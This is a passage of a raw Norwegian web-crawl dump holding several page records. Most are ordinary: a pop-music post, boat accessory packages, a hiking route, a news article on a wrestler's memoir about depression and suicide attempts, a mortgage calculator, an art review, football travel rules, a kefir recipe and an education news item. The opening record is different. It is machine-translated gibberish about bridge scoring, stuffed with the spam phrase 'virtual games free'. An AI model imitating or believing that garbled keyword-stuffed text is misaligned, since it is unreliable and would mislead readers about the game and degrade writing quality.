1NT) inntekt du tror du besluttsomhet lage syv atferd (6 + 1 tilbod). En avtale beregnet for fire av et sett med kl\u00e6r inntekt du tror du besluttsomhet lage 10 atferd (6 + 4 tilbud).\n\nLangt over bakken virtual games free Certificate Point = punkt oppn\u00e5 beregnet for kort *virtual games free* arrestert. Fire beregnet for hver f\u00f8rste rate, tre beregnet for hver linjal, to ellers hver hersker pluss \u00e9n beregnet for hver jack.\n\nA \"tidsfordriv\" avtale v\u00e6re singel, slik som \u00e5 ville oppn\u00e5 100 poeng fastsettelse oppn\u00e5. Fastsettelse du oppn\u00e5 (ellers g\u00e5 utover) avtalen du oppn\u00e5 en 300 tips ekstra.\n\nEn br\u00f8kdel oppn\u00e5 enighet v\u00e6re singel, slik som \u00e5 ville games free virtual oppn\u00e5 f\u00e6rre enn 100 poeng fastsettelse oppn\u00e5. Fastsettelse du virtual games free oppn\u00e5 avtalen du oppn\u00e5 en 50 tips ekstra.\n\nFastsettelse du tilbyr en br\u00f8kdel oppn\u00e5 annet enn faktisk skape tilstrekkelig oppf\u00f8rsel ment for tidsfordriv du besluttsomhet Bare f\u00e5 br\u00f8kdel oppn\u00e5 ekstra fordi slik som \u00e5 v\u00e6re kommet igjen? tilbudet du beregnet for.\n\nLangt over bakken Certificate Point \u00f8nsket beregnet for tidsfordriv = 27 ment for en liten sett med games free virtual kl\u00e6r, 25 tiltenkt en viktig sett med kl\u00e6r avtalen virtual games free ellers NT avtale\n\nFastsettelse du v\u00e6re mislykket i retning av \u00e5 skape avtalen du har beregnet for, motstanderen oppn\u00e5 50 poeng beregnet for hver bedrag deg games free virtual mislykket gjennom. Derfor fastsettelse du tilbyr tre av et sett med kl\u00e6r (tilbud i retning av opprette ni atferd) pluss bare lage syv atferd motstanderen oppn\u00e5 50 poeng beregnet for hver av de to atferden du mislykket i retning av create (100 poeng inne sum )\n\nRepetisjon  \nFastsettelse du mener slik motstanderen v\u00e6re usannsynlig i retning av \u00e5 oppn\u00e5 den avtalen de virtual games free v\u00e6re foresp\u00f8rsel ment for deg vil v\u00e6re i stand til \u00e5 \"to ganger\". Denne inntekten slik at din overflaten besluttsomhet oppn\u00e5 dobbelt poenget beregnet for hver virtual games bedrag free motstanderen la ned gjennom, annet enn for inntekten de besluttsomhet oppn\u00e5 dobbel punktet beregnet for hver bedrag fastsettelse de skaper avtalen. De besluttsomhet for \u00e5 oppn\u00e5 en ekstra ekstra av 50 poeng beregnet p\u00e5 \u00e5 oppn\u00e5 enighet.\n\nFastsettelse motstanderen v\u00e6re sikker slik at de Bestemmelse lage sin avtale de kunne \"forsterke\". Inne i denne containeren de besluttsomhet oppn\u00e5 4 \u00e6ra den vanlige tips verdt beregnet for hver bedrag komplett fastsettelse de oppn\u00e5r avtalen, fordelen en 100 tips ekstra ekstra.\n\nMottakelighet  \nI retning av satt i en liten ekstra 'interesse' i retning av at resultatet av singel, ellers sammen side viser seg \u00e5 v\u00e6re \"mottakelig\". Dette roter flankert av verken overflaten utsatt, EW utsatt, NS utsatt pluss sammen overflate virtual games free utsatt. Fastsettelse din overflaten v\u00e6re utsatt pluss du virtual games free v\u00e6re mislykket i retning av \u00e5 lage en avtale etter at motstanderen oppn\u00e5 en dobling av poenget beregnet for hver bedrag du v\u00e6re mislykket gjennom.\n\nFastsettelse din overflaten v\u00e6re utsatt pluss tilbud beregnet p\u00e5 pluss oppn\u00e5 games tidsfordriv virtual free, etter at tidsfordriv ekstra v\u00e6re st\u00f8rre enn f\u00f8r.\n\nAvvisning legge til beregnet for br\u00f8kdel oppn\u00e5 - 50 poengene\n\nTidsfordriv oppn\u00e5 - ekstra st\u00f8rre enn f\u00f8r og med 300 i retning av 500 poeng fastsettelse utsatt\n\nSlam\n\nPresentere v\u00e6re to typer slam. En liten smell (12 atferd) pluss en imponerende bang (hver 13. atferd). Du bare oppn\u00e5 en ekstra ekstra beregnet for disse fastsettelse du tilbyr i retning av \u00e5 lage dem.\n\nDerfor fastsettelse du tilby en avtale om tre hjerte (i retning av \u00e5 komme f\u00f8rst ni atferd) enn faktisk kommer f\u00f8rst hver og en tretten oppf\u00f8rsel, du besluttsomhet n\u00e5 oppn\u00e5 vanlig tidsfordriv ekstra pluss win't oppn\u00e5 ekstra imponerende bang ekstra. Du besluttsomhet bare oppn\u00e5 den ekstra lille ellers imponerende bang ekstra fastsettelse du tilbyr i retning av \u00e5 komme f\u00f8rst 12/13 atferd (6 ellers syv av et sett med kl\u00e6r).\n\nFastsettelse du tilbyr pluss lage en liten smell du besluttsomhet oppn\u00e5 en ekstra 500 ekstra tips (ellers 750 fastsettelse utsatt)virtual games free\n\nFastsettelse du tilbyr pluss lage en imponerende bang du besluttsomhet oppn\u00e5 en ekstra 100 ekstra tips (ellers 1500 fastsettelse utsatt)\n\nSammen av disse v\u00e6re inne **virtual games free** man regnet i retning av den vanlige tidsfordriv ekstra.\n\n  \nDo you like **Virtual games free**?\n\n", "language": "no", "__index_level_0__": "c039ef50-d330-47d0-82f8-79768912a722"}
{"url": "http://www.klikk.no/julia/redaksjonensblogg/ukas-video-stitches-2711632", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:09:08Z", "text": "# Ukas video: Stitches\n\n### Shawn Mendes fortsetter \u00e5 pumpe ut nydelige singler\\!\n\n\n\nPublisert 02.04.15  Oppdatert 15.05.15 \n\nDebutalbumet til Shawn Mendes, *Handwritten*, er ikke engang ute enn\u00e5 (slippes snart\\!), men Shawn har allerde sluppet flere superfine singler for \u00e5 vise fansen at de venter p\u00e5 noe godt.\n\nShawn har allerede v\u00e6rt ukas video to ganger i \u00e5r, men s\u00e5 lenge han ikke gir seg med \u00e5 slippe fantastiske singler, gir vi oss ikke med \u00e5 ha ham med p\u00e5 ukas video\\! ;)\n\n*Noen som har lyst p\u00e5 albumet?*\n\n", "language": "no", "__index_level_0__": "e866806d-490b-446c-83f3-f110f41eabe2"}
{"url": "https://www.buster.fi/no/ekstrautstyrspakker", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:36:27Z", "text": "# Ekstrautstyrspakker\n\n\n\nBuster har valgt utstyr som er skreddersydd de forskjellige modellene og laget pakker som gj\u00f8r det enkelt for deg \u00e5 velge.\n\nPakker gir en gunstigere pris enn om du skulle kj\u00f8pe og montere for eksempel hvert enkelt instrument for seg. Pakken er satt sammen av deler som tilfredsstiller de h\u00f8ye kvalitetskravene Buster stiller til alle sine underleverand\u00f8rer. N\u00e5r monteringen skjer p\u00e5 fabrikken, kan du v\u00e6re sikker p\u00e5 at den blir utf\u00f8rt p\u00e5 en kvalitetsmessig skikkelig og h\u00f8yverdig m\u00e5te.\n\n### PERFORMANCE\n\nMed PERFORMANCE-pakken kan du optimalisere b\u00e5tens oppf\u00f8rsel avhengig av fart, belastning, b\u00f8lger og vind. Det gir deg bedre kontroll og kan ogs\u00e5 v\u00e6re med p\u00e5 \u00e5 forbedre b\u00e5tens drifts\u00f8konomi.  \nPERFORMANCE-pakken inneholder Tiltratt og trimplan. Plasseringen av trimplanene og kontrollenheten er n\u00f8ye kalkulert og testet. Tilrattet gj\u00f8r at du kan justere rattets vinkel og tilpasse det enten du vil sitte eller st\u00e5 og kj\u00f8re b\u00e5ten.\n\n### COMFORT\n\nCOMFORT-pakken inneholder puter til benker og seterygger som er skreddersydd den enkelte b\u00e5tmodellen. Putene er solide og har fester som er enkle \u00e5 bruke. Putene b\u00f8r beskyttes mot fuktighet og sollys n\u00e5r de ikke er i bruk. Det gj\u00f8r at de holder seg bedre. P\u00e5 de fleste Buster-modellene kan putene oppbevares i stuverom om bord.  \nCOMFORT-pakkene inneholder de putene du trenger til hver enkelt b\u00e5tmodell.\n\n### ENTERTAINMENT\n\nDette er en pakke som gir deg underholdning fra mange forskjellige kilder om bord. Radio-enheten, som selvsagt er tilpasset bruk i et t\u00f8ft, maritimt milj\u00f8, har radio og kan kobles sammen med de aller fleste b\u00e6rbare Mp3 lydenhetene p\u00e5 markedet. Radioenheten er koblet sammen med to solide og kraftige h\u00f8yttalere.\n\n### CANVAS\n\nKalesjene som leveres i CANVAS-pakkene er skreddersydd hver enkelt b\u00e5tmodell. Du kan sitte t\u00f8rt n\u00e5r du er under veis og du beskytter b\u00e5ten n\u00e5r den ligger stille. Kalesjene er lette \u00e5 pakke sammen, enten i en skreddersydd garasje p\u00e5 b\u00e5ten eller i et solid trekk.\u00a0 CANVAS-pakkene til Buster M og Buster L inkluderer en d\u00f8r mellom konsollene. Kalesjene har perfekt passform. Noen av dem er todelte.\n\n### SONAR\n\nSONAR-pakken gj\u00f8r din Buster Q enhet til et ekkolodd. Du kan f\u00f8lge dybden, samt se dybdekurve og g\u00e5 tilbake til gitte dybder p\u00e5 kartet.\n\n### FISHFINDER\n\nDe nye Buster Q Fishfinder -fiskeekkoloddet kombinerer den nye Buster Q-smartskjermen med Raymarines meget gode CP100 -ekkoloddmodul. Ekkoloddet benytter en to-kanalers CHIRP-giver som viser s\u00e5 vel havbunnen som fiskene med fotolignende skarphet helt ned til et dyp p\u00e5 270 meter.\n\n### AIS\n\nAIS-pakken legger til AIS funksjonalitet til Buster Q. AIS p\u00e5 Buster Q er av mottagende typen - s\u00e5 du kan se alle fart\u00f8y  \nmed sendende AIS p\u00e5 kartet.\n\n## Overflatebehandlinger\n\nAlle Buster-b\u00e5tenes standard-overflatemateriale er umalt sj\u00f8vannsbestandig aluminium. Hvis du \u00f8nsker det, kan du allerede p\u00e5 fabrikken f\u00e5 skroget p\u00e5 b\u00e5ten din malt eller antifouling-behandlet, noe som hindrer groing og at smuss fester seg til b\u00e5ten. Maling av skroget og antifouling-behandling kan ogs\u00e5 bestilles sammen.\n\nAntifouling-behandling passer i sj\u00f8omr\u00e5der hvor sm\u00e5dyr og sj\u00f8planter lett fester seg til b\u00e5tens bunn. Smuss som sitter fast i bunnen og groing \u00f8ker b\u00e5tens drivstofforbruk og reduserer hastigheten.\n\nB\u00e5tens standardfarge varierer etter modellene. I tillegg til standardfargen kan man velge mellom fem andre farger.\n\n### Buster-b\u00e5tenes fargealternativer er:\n\nBuster Orange  \nNavy Blue  \nSea Blue Metallic  \nDeep Blue Metallic  \nGun Metal Grey Metallic  \nBlack Pearl Metallic\n\nFargen p\u00e5 Pro Series-modellene og XXL Cabin er alltid den flotte spesialfargen Night Black Matt.\n\n", "language": "no", "__index_level_0__": "d620f75a-2b46-4bcf-8d8b-6d82b0d365f9"}
{"url": "https://www.norgepatvers.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:36:55Z", "text": "\n\n# G\u00e5 Norge p\u00e5 tvers\n\n**120 km. 7 dager.** Norge p\u00e5 tvers er en unik ekspedisjonsopplevelse som vil gi deg minner for livet. Turen g\u00e5r langs den offisielle \u00abNorge p\u00e5 Tvers\u00bb-ruten, langs 63\u00ba nord.\u00a0Her f\u00f8lger du turistforeningens merkede ruter og overnatter p\u00e5 betjente- og selvbetjente hytter. Derfor slipper du \u00e5 b\u00e6re telt, sovepose og mat.\u00a0\n\nEn av godbitene p\u00e5 turen er fjellmassivet Sylan p\u00e5 svenskegrensen, som det er f\u00e5 fjellomr\u00e5der som kan m\u00e5le seg mot. Du velger selv om du vil g\u00e5 fra fjorden i Stj\u00f8rdal til svenskegrensen i Tydal eller motsatt vei.\n\nDette er en krevende tur. men grip sjansen, utfordre deg selv, og f\u00e5 minner for livet.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n\n**Expedition-passet**\n\nF\u00f8r du g\u00e5r turen, s\u00f8rg for \u00e5 skaffe deg et Expedition-pass. Passet gir deg verdikort for kost og losji p\u00e5 turisthyttene og det m\u00e5 du ha for \u00e5 kunne bli registrert p\u00e5 den offisielle \"Norge p\u00e5 tvers\"-lista. Les mer om og bestill Expedition-passet her.\u00a0\n\n**La deg inspirere av andre**\n\nEr du usikker p\u00e5 om du vil ta fatt p\u00e5 turen? Les om erfaringene fra tidligere ekspedisjons-deltakere her.\n\n\n\n## Trondhjems Turistforening\n", "language": "no", "__index_level_0__": "82ea413e-4e4b-4b2a-9f21-9fe5bd08c779"}
{"url": "https://www.dagbladet.no/sport/broren-var-en-av-dem-som-sto-ronningen-naermest-i-den-vonde-tida---det-var-beintoft/68761713", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:30:41Z", "text": "# Jon R\u00f8nningens bok\n\n## Broren var en av dem som sto R\u00f8nningen n\u00e6rmest i den vonde tida: - Det var beint\u00f8ft\n\nI den nye boka forteller OL-helten Jon R\u00f8nningen om angst, depresjoner og selvmordsfors\u00f8k. Lars R\u00f8nningen synes fortsatt det er vanskelig \u00e5 snakke om brorens fortid.\n\n5\\. oktober 2017 kl. 22.13\n  Marthe Ihle  \n\n(Dagbladet): Fredag kommer Jon R\u00f8nningens (54) selvbiografi \u00abHode i klemme \u2013 om \u00e5 seire og g\u00e5 til grunne\u00bb, som utgis p\u00e5 Kagge forlag.\n\nDer forteller OL-helten om ei vond tid etter karrieren. Han slet med alvorlig angst, tunge depresjoner og systematisk pillemisbruk gjennom mange \u00e5r. De psykiske problemene kulminerte med to selvmordsfors\u00f8k, kommer det fram i boka.\n\nI boka kommer det tydelig fram at lillebror Lars R\u00f8nningen - ogs\u00e5 bryter - er blant dem som har st\u00e5tt Jon R\u00f8nningen aller n\u00e6rmest i kampen mot de onde demonene. R\u00f8nningen avslutter ogs\u00e5 boka med kapittelet \u00abTil en bror\u00bb.\n\n\n\n# OL-helten Jon R\u00f8nningen var hele Norges yndling. Privat ble livet et mareritt som han ville avslutte\n\n## Stolt av broren\n\nN\u00e5r Dagbladet tar kontakt torsdag kveld, forklarer Lars R\u00f8nningen at han - naturlig nok - synes det er sterkt \u00e5 snakke om brorens historie. Han virker fortsatt preget, tar tenkepauser og er reflektert rundt temaet.\n\n**- Jeg synes det er vanskelig \u00e5 ordlegge meg. Det blir s\u00e5 personlig. Som lillebror, s\u00e5 jeg alltid opp til ham. Han var min helt, sier R\u00f8nningen til Dagbladet.**\n\n\n\nHan innr\u00f8mmer at han har gruet seg litt til at boka slippes og alt blir rippet opp i p\u00e5 nytt.\n\n\\- Jeg var med p\u00e5 en del ting for \u00e5 f\u00e5 ham tilbake til livet. Det var beint\u00f8ft. Det skj\u00f8nner alle som har hatt slike problemer i familien sin. Han var i sin tid den st\u00f8rste idrettshelten i Norge, og n\u00e5r en slik fyr g\u00e5r ned i rennesteinen... Det er t\u00f8ft. For meg, jeg kjenner bare mitt tilfelle, med min bror, s\u00e5 synes jeg det er det verste som kunne ha skjedd meg eller han eller f\u00f8rst og fremst familien hans, sier Lars R\u00f8nningen.\n\nHan fortsetter:\n\n**- Det er sterkt og godt gjort av Jon \u00e5 skrive en bok om det, det m\u00e5 jeg si. Jeg st\u00e5r fullt bak ham i dette. Han er s\u00e5 bra som han kan bli, og jeg er utrolig stolt av ham.**\n\n## Selvmordsfors\u00f8k\n\nEt av de sterkeste kapitlene i boka handler om Jons f\u00f8rste selvmordsfors\u00f8k. Lars var da en av de f\u00f8rste som kom til stedet.\n\n**\u00abJeg husker Lars skrek til meg at jeg ikke fikk lov til \u00e5 d\u00f8. Jeg l\u00e5 i en t\u00e5kesky og s\u00e5 p\u00e5 at Lars satt og skrek og skrek for \u00e5 holde meg v\u00e5ken. Jeg hadde aldri sett ham p\u00e5 denne m\u00e5ten\u00bb, skriver Jon R\u00f8nningen i boka.**\n\n\\- Den episoden var voldsomt sterk. Jeg forsto ikke hvor dypt... Jeg kunne ikke forst\u00e5 at han gjorde det han gjorde, der og da. Det ble t\u00f8ffere etterhvert. I starten var jeg mest i sjokk og redd for \u00e5 miste broren min, forklarer Lars R\u00f8nningen.\n\n**- Jeg var med p\u00e5 sykehuset da han kom til seg selv. Da satt jeg og gr\u00e5t p\u00e5 sengekanten og sa at dette m\u00e5tte han ikke gj\u00f8re. Det var min reaksjon, sier han.**\n\nHan legger ikke skjul p\u00e5 at da det sto p\u00e5 som verst, var det rett og slett beinhardt.\n\n\\- Det er vanskelig \u00e5 se broren sin slite slik. Han har v\u00e6rt verdens beste bryter i mine \u00f8yne, og sikkert for mange andre i brytemilj\u00f8et. Den r\u00e5skapen han hadde, den hentet han ogs\u00e5 fram i sin verste elendighet. Det er helt utrolig. Slik m\u00e5 det v\u00e6re for andre familier som opplever noe s\u00e5nt ogs\u00e5. At de reiser seg igjen, det er utrolig sterkt.\n\n**- Han blottlegger seg selv helt. \u00c5 v\u00e6re med p\u00e5 det, synes jeg er t\u00f8ft. Jeg synes det er sterkt gjort av ham. Man kan mene hva man vil om \u00e5 brette seg ut s\u00e5nn, men dette er hans oppgj\u00f8r med fortida, sier R\u00f8nningen.**\n\n\n\n# Bryte-kollegaer om R\u00f8nningen:- Tror han har kommet igjennom det som en enda sterkere person\n\n# Chile senket Sverige p\u00e5 overtid\n", "language": "no", "__index_level_0__": "ee401ce6-9021-4d06-9ad9-64525e8d5d33"}
{"url": "https://www.sor.no/lan/boliglan/boliglanskalkulator/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:31:40Z", "text": "\u00d8ker renten med % vil m\u00e5nedlig kostnad \u00f8ke med ****.\n\n## Hvordan bruke boligl\u00e5nskalkulatoren\n\nBolig er kostbart, s\u00e5 v\u00e6r realistisk. Bruk gjerne v\u00e5re prislister for \u00e5 finne hvilket renteniv\u00e5 du skal legge deg p\u00e5. Tenk ogs\u00e5 over hvor gammel du kommer til \u00e5 v\u00e6re de siste \u00e5rene av tilbakebetalingen f\u00f8r du legger inn \u00f8nsket nedbetalingstid i v\u00e5r boligl\u00e5nskalkulator. Det er greit \u00e5 v\u00e6re gjeldsfri n\u00e5r en g\u00e5r inn i pensjonsalderen.  \nHusk at vi har veldig hyggelige r\u00e5dgivere som gjerne hjelper deg \u00e5 finne ut av hvilket boligl\u00e5n som passer for deg.\n\n## Priser boligl\u00e5n med flytende rente\n\nBenytt boligl\u00e5nskalkulatoren v\u00e5r. Her ser du oversikt over boligl\u00e5n med flytende rente innenfor 75 % av markedsverdi.\n\n|                     |                    |\n| ------------------- | ------------------ |\n|                     | **Renter fra**     |\n|                     | **Nominell rente** |\n| 2 000 000 og mer    | 2,35 %             |\n| 1 000 000-1 999 999 | 2,70 %             |\n| Under 1 000 000     | 2,95 %             |\n\nHvilken rente du f\u00e5r, avhenger av sikkerhet, st\u00f8rrelse p\u00e5 l\u00e5net og andre faktorer. Boligl\u00e5nskalkulatoren gir deg en omtrentlig oversikt og det er smart \u00e5 teste med forskjellig rentesatser for \u00e5 se hvor mye din \u00f8konomi kan t\u00e5le av rentesvingninger. Ta kontakt med oss og be om tilbud p\u00e5 ditt l\u00e5n i dag\\! Se prislisten for utl\u00e5n.\n\n## Relevant for deg som s\u00f8ker boligl\u00e5n\n\n### Vi tilbyr husforsikring\n\nMed v\u00e5r husforsikring blir boligen forsikret til gjenoppf\u00f8ringspris uten hensyn til forsikringssum, og du kan utvide dekningen dersom du \u00f8nsker den beste dekningen.\n\n### Tips til deg som skal kj\u00f8pe din f\u00f8rste bolig\n\n\u00c5 komme seg inn p\u00e5 boligmarkedet kan v\u00e6re en h\u00f8y terskel for mange.\u00a0Her er noen gode tips til f\u00f8rstegangskj\u00f8pere.\n\n", "language": "no", "__index_level_0__": "fd38197e-04d6-49d4-bfa4-e93555a58ddb"}
{"url": "http://www.esthermaria.no/agnethe-berensen-harket-om-utstillingen-%22puls.-impuls%22-2005_21950.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:14:25Z", "text": "<p><span style=\"font-family: Verdana\">Det er neppe noen som vil mistenke Esther Maria Bj\u00f8rneboes bilder for \u00e5 v\u00e6re figurative. Men siden mistanken n\u00e5 er vakt, skal jeg fors\u00f8ke \u00e5 holde fast p\u00e5 den, slik hun selv holder fast p\u00e5 sitt non-figurative prosjekt. For like sikkert som at disse bildene oppfattes som non-figurative, er det at de er malt av en kunstner som er klar over at den figurative tradisjonens problemstillinger ikke n\u00f8dvendigvis er ikonografiske eller ikonologiske. Dette kan v\u00e6re et godt sted \u00e5 begynne for den som har sans for maleriet som maleri. Det kan ogs\u00e5 v\u00e6re et godt sted \u00e5 begynne n\u00e5r man skal n\u00e6rme seg Bj\u00f8rneboes bilder.<br />\nDet er ikke motivet disse bildene handler om, men nettopp derfor har de noe til felles med en gammel sjanger som stilleben. Det er ikke fruktkurven den handler om. Den handler om \u00e5 fastholde motivet for at det ikke skal ta oppmerksomheten vekk fra utforskningen av flaten, formen, fargen, str\u00f8ket, rommet ? i ett ord: overflaten. Motivet kunne like gjerne v\u00e6rt et m\u00f8nster, mekanisk, geometrisk eller organisk. Og er det ikke nettopp det vi ser i Puls. Impuls: organiske m\u00f8nstre.<br />\nHun er selv den f\u00f8rste til \u00e5 innr\u00f8mme det: Naturen og den mimetiske etterligning av den fascinerer henne.\u00a0<br />\nVel s\u00e5 viktig er det at bildene hennes bekrefter det. Og det er blitt tydeligere n\u00e5 enn i hennes tidligere malerier. Men i stedet for \u00e5 ta det mimetiske oppdraget bokstavelig, og male den ytre virkelighet, har hun skapt et parallelt rom som minner om noe vi kjenner. Selv vil jeg si vi er sv\u00e6rt tett p\u00e5 naturen i disse siste bildene, ikke naturen som landskap, men naturen som organisk form, naturen som organisme. Ikke slik vi ser den gjennom en kameralinse, men slik patologen ser den gjennom et mikroskop. Og like lite som vi kan unng\u00e5 \u00e5 se etter meningsdannende m\u00f8nstre p\u00e5 stjernehimmelen, kan vi unng\u00e5 \u00e5 f\u00e5 \u00f8ye p\u00e5 det organisk illuderende i hennes nye billedserie, og assosiere videre derfra til et korallrev her, en blomst der, og s\u00e5 videre inn i det erotiske eller ut i stjernet\u00e5ka.<br />\nDet er imidlertid ikke derfor disse bildene er meningsb\u00e6rende. Det er de fordi de viser oss hva som skjer n\u00e5r farger m\u00f8tes, og hva som skjer n\u00e5r fargene m\u00f8ter v\u00e5re forestillinger om dem, v\u00e5re forventninger og fordommer. Se hva rosa og brunt gj\u00f8r med hverandre n\u00e5r de snakker sammen, eller lilla og gult. M\u00f8tene mellom fargene utfordrer det forutinntatte innholdet. Fargenes tvetydighet eksponeres.<br />\n<p><span style=\"font-family: Verdana\">Med denne utstillingen har Esther Maria Bj\u00f8rneboe beveget seg fra flaten, som hun utforsket i sin forrige utstilling \"Styrt tilfeldighet\" til fargen og rommet. Bildene hennes er ogs\u00e5 tidligere blitt til i spenningen mellom p\u00e5 den ene siden hangen til \u00e5 la innfallene og innskytelsene regjere, og p\u00e5 den annen side \u00f8nske om kontroll. I de nye bildene har hun strammet grepet ytterligere kompositorisk. Hun har ikke n\u00f8yd seg med \u00e5 skape orden i kaoset, hun har arbeidet med \u00e5 skape et lite kosmos. Er det mer enn en figurativ tilfeldighet at hun er s\u00e5 tett p\u00e5 livets urformer, naturen selv, i disse pulsslagene? Fasiten finnes i bildene.<br />\n", "language": "no", "__index_level_0__": "4cc2a102-0f21-4b96-b3af-422c1d890c6c"}
{"url": "http://www.namsosfotball.no/blog/blogpost.rails?bid=85158&ispage=true", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:16:36Z", "text": "Trygge rammer handler om all aktivitet innen fotball. Trivsel og trygghet er fundamentalt for god sportslig utvikling og mestring. Dette innbefatter ogs\u00e5 at veien til og fra kamp oppleves trygg for v\u00e5re spillere.\n\n***Retningslinjer for kj\u00f8ring til bortekamper, aldersbestemte klasser:***\n\nLegg inn en god \u00abbuffer\u00bb, i forhold til antatt kj\u00f8retid.\n\n3\\.Kj\u00f8rer samlet:\n\nAlle bilene, kj\u00f8rer sammen. Avtal gjerne hvem kj\u00f8rer f\u00f8rst/evt. planlagte stopp p\u00e5 turen.\n\n***Forventninger til sj\u00e5f\u00f8r:***\n\n1\\. S\u00f8rg for at bilen ikke innehar \u00abl\u00f8s\u00bb last. All utstyr er forsvarlig sikret i bagasjerom.\n\n2\\. Sikre alle barna godt, som du har ansvar for.\n\n3\\. Bilen skal inneha f\u00f8rstehjelpspute/skrin.\n\n4\\. Overhold fartsgrensen og kj\u00f8r forsvarlig. Husk \u00abdu \u00ab er en positiv rollemodell.\n\n5\\. S\u00f8rg for \u00e5 v\u00e6re \u00ab uthvilt\u00bb nok.\n\n***Ansvar :***\n\nLagets milj\u00f8- foreldrekontakt. Informerer og gj\u00f8r retningslinjene kjent for v\u00e5re foresatte. Tema som l\u00f8ftes opp p\u00e5 foreldrem\u00f8te.\n\n*Vi har ingen \u00e5 miste\\!*\n\n-----\n\n  \n### Kommentarer\n", "language": "no", "__index_level_0__": "8dbc8bb5-393b-4487-97b8-78f94820e73f"}
{"url": "http://godtsuntogbillig.blogspot.com/2015/06/vannkefir-med-syrin.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:31:09Z", "text": "## 6\\. jun. 2015\n\n### Vannkefir med Syrin\n\nEn liten v\u00e5rvariant av vannkefirn :-)  \n  \nSyrin lukter utrolig godt og minner om at v\u00e5ren er her for fullt,  \nn\u00e5 er jeg ikke helt i sukkerhj\u00f8rnet og det frister ikke \u00e5 lage saft...  \n...men hvorfor ikke piffe opp den dagelige Kefir'n ;-)  \n  \n  \n\n\n  \n\n\n  \nVannkefir er en sunn kullsyreholdig drikk du lager selv med kefirkorn,  \nen levende symbiose av gode bakterier og gj\u00e6r.  \n  \n***Lag kefir p\u00e5 vanlig m\u00e5te,***  \n***og tilsett en klase syrin,***  \n***eventuelt kan du etterfermentere med syrin og litt ekstra sukker for \u00e5 f\u00e5 mer bobler***.  \n  \nHER kan du lese mer om kefir som begynner \u00e5 bli b\u00e5de kjent og popul\u00e6r i Norge,  \netter artikler i bl.a. Ren Mat...  \n  \n  \n\n\nN\u00e5r jeg konfimerte meg for x-antall \u00e5r siden var det syrin i full blomst,  \nhadde jeg visst hva vannkefir var da,  \nhadde denne drinken blitt servert \\!\\!\\!  \n  \n***Ha en fin syrinsesong :-)***  \n  \n.\n\n  \n", "language": "no", "__index_level_0__": "04235ae0-5d37-4eda-bfa4-81706f1a1f4b"}
{"url": "https://www.noroff.no/nyheter/3d/593-laer-deg-den-nyeste-teknologien-det-gjor-deg-attraktiv", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:21:37Z", "text": "\n\n# \u2013 L\u00e6r deg den nyeste teknologien, det gj\u00f8r deg attraktiv\n\n     Publisert 11. mars 2018\n\n\u2013 Kompetanse innen ny teknolog er de nyutdannedes viktigste fortrinn, mener P\u00e5l Skogerb\u00f8 i MH Wirth.\n\n\u2013\u00a0Den teknologiske utviklingen g\u00e5r rasende fort, s\u00e5 mitt best tips til unge som \u00f8nsker \u00e5 jobbe i v\u00e5r bransje er \u00e5 s\u00f8rge for \u00e5 v\u00e6re i front digitalt. Det gj\u00f8r dem attraktive, sier Skogerb\u00f8, leder for teknologiutvikling i MH Wirth.\n\nMHWirth er lokalisert i 15 land, og p\u00e5 hovedkontoret i Kristiansand utvikles det nyeste innen boreteknologi. Skogerb\u00f8 forteller at det stilles store krav til teknisk og digital kompetanse for \u00e5 v\u00e6re ledende i deres bransje, og at mye av arbeidet som foreg\u00e5r i den kristiansandsbasert bedriften starter med 3D-modellering. Dermed m\u00e5 3D-kompetansen ligge i bunn hos medarbeiderne.\u00a0\n\n> Alle komponentene i en borerigg produseres etter v\u00e5re 3D-modeller.P\u00e5l Skogerb\u00f8, MH Wirth\n\n### Alt produseres etter 3D-modeller\n\n\u2013 \u00a0Alt starter i grunnen med 3D-modeller, for det er arbeidsverkt\u00f8yet v\u00e5rt som vi bruker for \u00e5 lage modeller av alle komponenter som etterhvert skal settes sammen til en boremaskin, forklarer han.\n\nDe digitale modellene utvikles i Kristiansand, for s\u00e5 \u00e5 sendes til lavkostland for produksjon.\u00a0\n\n\u2013\u00a0Enkelt forklart s\u00e5 fungerer det slik at alle komponentene i en borerigg produseres etter v\u00e5re 3D-modeller. Vi lager 3D-modeller i Norge og sender dem ut til produksjon, og n\u00e5r alle komponentene er produsert, settes de sammen til st\u00f8rre utstyr og fullstendige borerigger.\n\n\n\n**3D-utdanninger:**\u00a0Noroff har 3D-utdanninger i Oslo, Bergen, Kristiansand, Stavanger og via nettstudier. Foto: Jeanette L. B\u00e6kkevold.\n\n### Bredt undervisningstilbud innen 3D\n\nNoroff underviser i 3D i en rekke studier. Disse er 3D design og animasjon, 3D spilldesign, 3D filmproduksjon, bachelor i interaktive medier - spill, bachelor i interaktive medier - animasjon, VFX - visuelle effekter og teknisk design med DAK 2D/3D.\n\nI august starter ogs\u00e5 et nytt 2-\u00e5rig studium i digital prototyping.\n\n### Naturtro simulatorer av 3D\n\nSkogerb\u00f8 sier at 3D-jobbing er utbredt og forventet i effektiv produksjon, men at MHWirth skiller seg fra andre ved ogs\u00e5 \u00e5 bruke sine 3D-modeller i test og treningssimulatorer.\u00a0\n\n\u2013\u00a0Vi setter alle modellene sammen til en hel 